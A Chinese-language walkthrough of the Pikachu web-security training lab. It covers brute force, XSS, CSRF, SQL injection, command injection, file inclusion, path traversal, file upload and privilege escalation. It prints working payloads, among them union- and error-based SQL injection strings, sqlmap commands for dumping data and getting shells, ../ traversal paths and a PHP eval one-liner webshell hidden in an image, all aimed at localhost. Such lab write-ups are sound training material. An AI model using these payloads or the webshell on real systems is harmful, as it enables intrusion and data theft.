一.Burte Force(暴力破解)

概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

1.是否要求用户设置复杂的密码;
2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;
3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);
4.是否采用了双因素认证;
...等等。
千万不要小看暴力破解漏洞,往往这种简单粗暴的攻击方式带来的效果是超出预期的!

1.基于表单的暴力破解

打开就是一个这样的输入账号密码的登录框,明显是让我们进行账号密码的猜解

我们首先随意填写一个账号密码,并打开bp进行抓包,抓取成功的界面如下

 我们点击Action然后send to Intruder准备进行爆破。

 

进入 Intruder界面后,我们需要选择需要对需要破解的数据进行标记,并且选择攻击方式(Attack type)

首先选择clear$,然后分别选中username和password输入的数据进行标记,点击Add$,最后选择攻击方式Cluster bomb

 随后进入Payloads模块,在payload set 1位置,也就是username位置,上传关于我们的账号的字典,在2位置选择我们的密码字典,这里如果没有字典,可以去网上查找,或者直接手动添加爆破的数据

 随后点击右上角start attack进行爆破

爆破结束后,我们可以根据返回数据长度来判断正确的账号密码,返回长度不同于其他数据包的,就是正确的账号密码,此处账号:admin 密码:123456

 成功登录

2.验证码绕过(on server)

 我们首先观察一下

当我们输入错误的用户名密码以及验证码时,提示我们验证码输入错误 

 

当我输入错误的账号密码,但输入正确的验证码时,提示我们username or password is not exists

并且我们发现,只有当页面刷新时,验证码才会重新刷新,下面我们就来验证一下这个猜想

我们先来抓一个包,输入正确的验证码和错误的账号密码

再次修改密码,不改动验证码

依旧提示username or password  is not exists,由此验证我们的猜想是对的,只要页面不刷新,验证码就不会改变。

呢么剩下的步骤就和上一关一样了,我们将数据包发送到攻击模块,暴力破解

3.验证码绕过(on client) 

我们依旧随便填个账号密码 但填个正确的验证码试一下

提示账号或密码不存在

再填个错误的验证码看一下

有个提示验证码错误的弹窗

我们查看源代码发现了验证验证码的代码在前端

哎,看到这里我想说,任何在前端进行的验证,都是完全没有任何作用的

我们这里只需要先F12,再F1,选择禁用JavaScript

这样我们就绕过前端验证了

后面的步骤和前两关一样,也是bp抓包,爆破账号密码

 4.token防爆破? 

 在开始之前,我们先来了解一下token是什么

 "token"通常指的是一个用于验证用户身份和授权访问的令牌。它是一种特殊的字符串或代码,由服务器生成并分配给经过身份验证的用户。用户在成功登录后,服务器会颁发一个token给客户端(例如Web浏览器),客户端将在随后的请求中将该token作为身份验证凭据发送给服务器。

我们回到这一关

我们先F12检查,在密码框代码的下边,我们就可以发现进行验证的token

对于有token的的验证,我们适用于已经知道账号的情况,或者账号和密码一一对应的情况,并且我们的暴力破解方式就要有所调整,我们依旧是先抓包,并发送到攻击模块

我们这里的攻击目标要选择password,以及token,攻击方式选择Pitchfork

 下面我们来到payloads模块,password设置和之前一样,上传我们的爆破字典即可,第二个位置token处进行如下设置,我们首先来到Options模块

 往下滑,找到Gerp-Extract

随后我们点击Add,并且刷新请求

我们将刷新的请求中的数据包下滑,大约在927行左右找到token,选中并且复制,然后点击ok

 我们再回到payloads模块,前两个位置和前几关一样,正常选择字典即可,第二个位置选择Secursive grep(递归搜索),并且将我们刚刚复制的token粘贴到下面的框里,开始攻击即可。

 如果有如下提示

我们来到resource pool模块,选择创建新的资源池,并把最大请求数改为1

 其他版本的bp可能在options模块,如下图

,同样把请求数改为1即可 

 开始攻击即可

二.Cross-Site Scripting(xss) 

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
    1.反射性XSS;
    2.存储型XSS;
    3.DOM型XSS;


XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
  输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
  输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

 1.反射型xss(get)

构造payload

<script>alert('xss')</script>

 我们发现输入完('xss')就不能输入了,明显超过长度限制的

我们此处F12,选择这个输入框 ,将最大长度改为100,我们就可以正常输入内容了 

2.反射型xss(post)

我们发现一个登录框,我们在暴力破解那一关,获取到了管理员账号和密码,即

账号:admin

密码:123456

如果没做暴力破解我们也可以点一下提示看一下

输入账号密码后来到输入框,依旧输入我们的payload

<script>alert('xss')</script>

 

 可能有人会疑惑,这一关和上一关不是一样吗,不是这样的哦

3.存储型XSS

我们先看一下post和get请求的区别

  1. 数据传输方式:

    • GET请求:数据通过URL中的查询参数附加在URL后面,以明文形式传输数据。
    • POST请求:数据作为请求的正文发送,而不是通过URL传递。
  2. 数据长度限制:

    • GET请求:有长度限制,受浏览器和服务器对URL长度的限制。
    • POST请求:没有固定的长度限制,适合传输大量数据。
  3. 数据安全性:

    • GET请求:数据以明文形式暴露在URL中,容易被窃听和拦截。
    • POST请求:数据在请求正文中传输,并可以使用加密协议(如HTTPS)进行传输,相对更安全。
  4. 数据缓存:

    • GET请求:可以被浏览器缓存,可以提高性能。
    • POST请求:通常不被浏览器缓存。

 仔细观察就会发现,get型的那一关,我们输入的payload在url中有显示,而post则没有显示

payload

<script>alert('xss')</script>

 提交时,会有xss弹窗

并且当我们切换页面,再切换回来时,也会有xss弹窗,这说明我们的数据被存储起来了,也就是存储型的xss

 4.DOM型xss

首先我们先看下什么是DOM,简单来说就是

DOM是一种用于表示和操作HTML、XML等文档结构的编程接口,通过它可以使用代码来访问、修改和操作Web页面的内容和结构。

回到题目,我们先随便输入一串内容,F12检查一下,顺找我们输入的语句

找到我们输入的内容,我们就要想办法构造payload了,首先我们需要先闭合我们的语句,然后构造一个onclick

这里我本来以为是双引号闭合,构造出来不对查看源代码发现,外面还有一个单引号

所以我们的payload应该是

' onclick=alert('xss')>

 闭合后语句为

<a href='' onclick=alert(‘xss’)>'>what do you see?</a>

5.DOM型XSS-X

 payload和上一关一样

' onclick=alert('xss')>

和上一关唯一的区别就是,这一关是从url中获取我们提交的参数,体现的题目上就是我们多点了一下

 因为dom型都是前端操作,比较鸡肋,这里就不多说了

6.xss之盲打

这一关是什么意思呢,盲打也就是我们在前端并不能看到我们的代码,无法判断xss是否成功,只有在后台才能看到

我们构造payload

<script>alert('xss')</script>

根据提示,后台地址为http://ip/pikachu/vul/xss/xssblind/admin_login.php

成功弹窗,并且弹了两次,也就是说两个输入框都有xss漏洞

 7.xss之过滤

首先试下我们之前的payload

<script>alert('xss')</script>

我们提交后发现只剩个'>'了

经过尝试后,我们可以发现,<script>标签被过滤了,我们可以用其他的方法绕过

payload

<a href="" onclick="alert('xss')">

 

成功绕过

8.xss之htmlspecialchars

依旧试下我们之前的payload

<script>alert('xss')</script>

 

被没有什么效果,我们检查下源代码

我们可以尝试利用下a标签

payload

' onclick='alert("xss")

 闭合后的语句为

<a href='' onclick='alert("xss")'>

 成功弹窗

9.xss之href输出

还是先试下我们之前的payload

<script>alert('xss')</script>

我们再试着利用下a标签

依旧没有效果,我们检查源代码发现左右尖括号和单双引号都被html编码了

我们这里可以利用JavaScript 代码段

javascript:alert(1)

 

成功弹窗

10.xss之js输出

依旧试下之前的payload

<scirpt>alert('xss')</script>

 并没有反应,我们查看源代码发现,<script>标签对应关系有问题,那么我们只需要想办法闭合掉第一个<script>就可以了

 payload

</script><script>alert('xss')</script>

 

 成功弹窗

三.CSRF

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
这里列举一个场景解释一下,希望能够帮助你理解。
场景需求:
小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的:
登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:1,登录权限 2,修改个人信息的请求。

但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。

为啥小黑的操作能够实现呢。有如下几个关键点:
1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。

因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等

1.CSRF(get)

根据右上角提示,我们随便登录一个用户

登陆后,我们选择修改个人信息

提交修改的个人信息,并用bp抓包

 我们点击action,生成一个CSRF的利用

 

 我们可以修改其中的信息,修改完后我们点击test in browser

 我们复制生成的链接,并在浏览器中打开

 我们点击提交请求

发现grady的信息被修改,这里我们可以利用短链接生成平台把我们的链接变短,效果是一样的,我就不具体演示了

2. CSRF(post)

这里只是请求的方式不同,操作步骤与get型完全相同

3.CSRF Token

token的工作原理我在暴力破解板块有介绍,这里就不多说了

简单来说,后台会对我们在url中提交的token和服务器中生成的token进行比较,这里我们就无法通过伪造url进行修改个人信息了

 四.Sql Inject(SQL注入)

概述
     在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重

 1.数字型注入(post)

我们首先随便查询一下,并用bp抓包

我们将数据包发送到重发器,方便我们进一步的操作

 当我们输入and 1=1时页面没有报错

当我们输入and 1=2时页面报错

 

我们以此判断是数字型注入(题目也说明了),不需要闭合符

接下来我们使用order by来判断可以显示的列

 当查询字段数为2时,页面正常显示

 为3时,页面显示错误,所以有两列

其原理是,order by会对列继续排序,当我们输入的列数超过实际拥有的列数,就会提示该列不存在

 接下来判断每列显示的位置

查询数据库和数据库版本

payload

id=-2 union select database(),version()

 查询所有表,这里使用mysql5.0以上版本自带的information_schema表

payload

id=-2 union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

查询敏感表users表中所有列

id=-2 union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

查询用户名和密码

id=-2 union select group_concat(username),group_concat(password) from users

随后将密码拿去解密即可

 md5在线解密破解,md5解密加密

 2.字符型注入(get)

我们依旧先判断下闭合符

我们输入1'页面报错

可以猜测闭合符就是单引号

猜测出闭合符,我们可以尝试构造万能密码查询所有数据 

payload

' or '1'='1

 我们也可以查询所有的表,数据库

查所有表

payload

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

与上一关不同的是,这一关可以在url栏中构造sql语句了,并且闭合符是单引号,其余与上一关一样,后面我就不具体演示了

3.搜索型注入

我们先随便搜索一个东西

这里我们介绍一个sql注入常用的注入工具———sqlmap

这里介绍下sqlmap常用的一些语法

get型常用参数 

-u:指定注入的URL   sqlmap -u URL
--dbs:爆出所有数据库 sqlmap -u URL --dbs
--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql
--users:查看数据库的所有用户 sqlmap -u URL --users
--current-user:查看数据库当前用户 sqlmap -u URL --current-user
--current-db:查看网站当前数据库 sqlmap -u URL --current-db
--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba
      [11:57:52] [INFO] testing if current user is DBA
    [11:57:52] [INFO] fetching current user
    current user is DBA: True
--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles
--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables
--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns 
--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump
--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all
--sql-shell:获取数据库shell  sqlmap -u URL --sql-shell
--os-shell:获取服务器shell  sqlmap -u URL --os-shell
--file-read:读取服务器文件  sqlmap -u URL --file-read "文件路径及名称"
--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器
--time-sec=2:延时注入 sqlmap -u URL --time-sec=2
--batch:探测过程中不进行询问,一律选择默认
-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描

post型常用参数 

-r:指定POST数据文件  sqlmap -r post.txt
--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"
--forms:自动搜索表单的方式 sqlmap -u URL --forms
--cookie="抓取的cookie":测试cookie字段
--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del
--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入
--headers:增加额外的http头
--proxy:指定代理地址
-p:指定测试参数

 回到我们的题目,我们就拿这个题来举例子

首先探测注入点

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2"

成功探测出注入点,并且爆出了数据库类型及其版本

接着爆库

payload

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --dbs

 爆表

payload

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" --tables

爆字段名

 payload

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" --columns

爆数据

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" -C "password,username" --dump

 4.xx型注入

与第三关一样,都可以直接用sqlmap跑出来

5.insert/update注入

这其实就是报错注入,我们先根据提示进行注册

在注册时,我们进行抓包

我们将post请求的内容复制下来 

依旧使用我们的sqlmap进行测试

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_reg.php" --data "username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit"

sqlmap是可以的,那我们再来试一下手注

我们将刚刚抓到的数据包发送到重发器

 

这里对闭合符的判断我就不演示了,和之前一样

这里我们使用updatexsl函数进行注入

查询当前数据库

username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'

 查询所有表

username=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'

查询所有字段名

username=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1) and'

查询数据

因为查询出的密码不能完全显示,所以我们这里再使用一个substr函数,进行字符串的截取

username=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'

 6.delete注入

根据题目提示不难猜出,跟删除有关系,那么我们首先进行留言

在删除时我们利用bp抓包,我们可以发现这里有个id参数

我们对这个参数进行报错注入测试

这里我一直不成功,最后发现是我的空格被编译了,这里我们为了绕过编译,把空格替换为+

?id=58+and+updatexml(1,concat(0x7e,(select+database()),0x7e),1)

后面步骤与报错注入一样,不多做阐述了 

7.http头部注入

根据提示登录

发现会回显我们的UA头和accept信息

我们退出登录,重新登录并且抓包

 这个包并不是我们想要的,放掉他,抓下一个

这里我们尝试对UA头进行报错注入

User-Agent: 1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

后续步骤与报错注入相同,这里不多做阐述了 

 8.布尔盲注

盲注很麻烦,这里建议直接使用sqlmap跑

我们先随便搜索一个内容

复制url到sqlmap中测试

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2"

 爆表

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs

因为很慢,这里我就不展示具体结果了,不过肯定是可以的,已经跑出好几个数据库名了 

9.时间盲注

与布尔盲注一样,都是用sqlmap跑,这里我也不做展示了

10.宽字节注入

我们先简单了解下原理

宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询

回到题目,随便查询个东西并用bp抓包

 我们接下来构造payload

name=1%df' union select version(),database() --+

查表

name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

 查字段名

这里我一直报错,最后我去看了别人的payload才发现是查询内部语句有引号导致的,这里使用16进制编码绕过

name=1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆数据

name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+

 五.RCE

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-


远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。

因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

你可以通过“RCE”对应的测试栏目,来进一步的了解该漏洞。

1.exec "ping"

我们先来了解下Windows系统和Linux系统的连接符

Windows系统:

|:只执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句。
&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统:

;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
|(管道符):只执行后面的语句。
||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami
附上地址:链接: Pikachu靶场通关实录-RCE篇 - 简书

回到题目,我们先来ping一下本地

我们跟上连接符看看能不能执行其他命令

这里成功查看了C盘的文件,咱们也可以尝试一下其他的连接符,这里我就不多做演示了,理论上可以执行任何的系统命令

2.exec "eval"

这里pikachu的远程代码执行真的非常简单,建议玩下其他靶场的远程代码执行

这里我就简单介绍下eval这个函数把

  1. 动态执行代码:eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。

  2. 字符串转换为代码:eval() 函数将接收到的字符串参数解析为编程语言的有效代码,并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等,并且它们将在执行时被解释和计算。

 回到题目,我们输入phpinfo();

成功执行了代码

六.file inclusion

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:
1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。

因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

你可以通过“File Inclusion”对应的测试栏目,来进一步的了解该漏洞。

1.本地文件包含

 我们先随便查询一个人物 

我们可以尝试修改filename后的文件名读取其他的文件

 呢么我们能否读取本地的文件呢,肯定是可以的

?filename=C:/../../../../Windows\win.ini&submit=提交查询

 2.远程文件包含

同样随便查询一个人物

这一关和上一关有什么不同,这一关我们可以访问远程服务器上的文件

比如这里我们访问百度

 呢么有什么用呢,我们可以在自己服务器上写一个木马文件,在这里远程包含我们的木马文件,然后通过我们的webshell管理工具进行连接,以此来getshell

七.Unsafe Filedownload

不安全的文件下载概述

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。

所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

你可以通过“Unsafe file download”对应的测试栏目,来进一步的了解该漏洞。

1.不安全的文件下载

我们右键在新窗口打开链接 

我们更改下载的文件名

http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../index.php

 成功下载index.php文件

八.Unsafe Fileupload

不安全的文件上传漏洞概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。

所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:
--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...

你可以通过“Unsafe file upload”对应的测试栏目,来进一步的了解该漏洞。

1.client check

我们先写一个一句话木马,并修改文件后缀名为php

<?php  @eval($_POST['shell']); ?>

 回到题目,上传木马文件,发现提示我们文件不合法

检查源代码发现是前端验证的

我们可以通过禁用javascript进行绕过,我们先F12,在F1(部分笔记本可以需要按着FN键)

 再次上传发现提示我们找不到文件

这里我检查了好几篇,一直以为我绕过方法有问题,最后好像是phpstudy的问题,换了个版本记好了

依旧是禁用JavaScript,上传

访问下这个文件

空白基本上就代表上传成功了,我们使用蚁剑连接

连接成功,这里的连接密码就是我们POST请求中的参数

2.MIME type 

 我们上传之前的一句话木马并用bp进行抓包

我们把文件类型改为图片类型

 

放包,显示上传成功

后面依旧是蚁剑连接,我就不演示了

3.getimagesize 

这一关我们可以使用图片马,图片马制作方法有很多

首先可以使用nopepad++打开图片,直接在图片末尾加上一句话木马

 也可以使用cmd将一个图片和木马文件合成

copy copy /b 图片.jpg + 木马.php 合成的文件名.jpg

这一关,我们怎么制作图片马呢,我们上传一个正常的图片并用bp抓包

中间这串乱码就是我们图片的内容

我们可以往下翻,直接把一句话木马写在这里

注意不要写在文件头部,这里会对文件头进行检测,看看是不是图片类型

放包,上传成功

我们使用蚁剑连接

这里我们会发现连接不上,因为这是jpg文件,php代码并不会执行,这里我们需要配合之前的文件包含进行连接

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2023/07/11/77050464ad61663718d703992833.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

 这里乱码基本就代表php执行了,我们用蚁剑连接一下

连接成功

 九.Over Permission 

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

你可以通过“Over permission”对应的测试栏目,来进一步的了解该漏洞。

1.水平越权 

我们根据提示随便登录一个账号

我们点击查看个人信息

我们可以通过修改url中的用户名查看其他人的信息

实现水平越权

2.垂直越权 

提示告诉我们有普通用户和超级用户

我们先分别登录普通用户和超级用户看一下有什么区别

普通用户

超级用户

超级用户多了添加的功能

我们选择添加用户并复制下添加用户页面的URL

退出登录,重新登录pikachu用户

粘贴我们刚才复制的添加用户的url

我们的piakchu用户也可以添加用户了

我们添加一个demo用户试一下

重新登录admin用户看看是否够创建成功

 

创建成功

十.目录遍历

目录遍历漏洞概述

在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。

看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。

需要区分一下的是,如果你通过不带参数的url(比如:http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们成为敏感信息泄露。 而并不归为目录遍历漏洞。(关于敏感信息泄露你你可以在"i can see you ABC"中了解更多)

你可以通过“../../”对应的测试栏目,来进一步的了解该漏洞。

 1.目录遍历

随便点一下

我们修改title参数后的文件名

?title=C:../../../../../../windows\win.ini

 成功实现目录遍历访问win.ini文件

十一.敏感信息泄露

敏感信息泄露概述

由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到。 比如:
---通过访问url下的目录,可以直接列出目录下的文件列表;
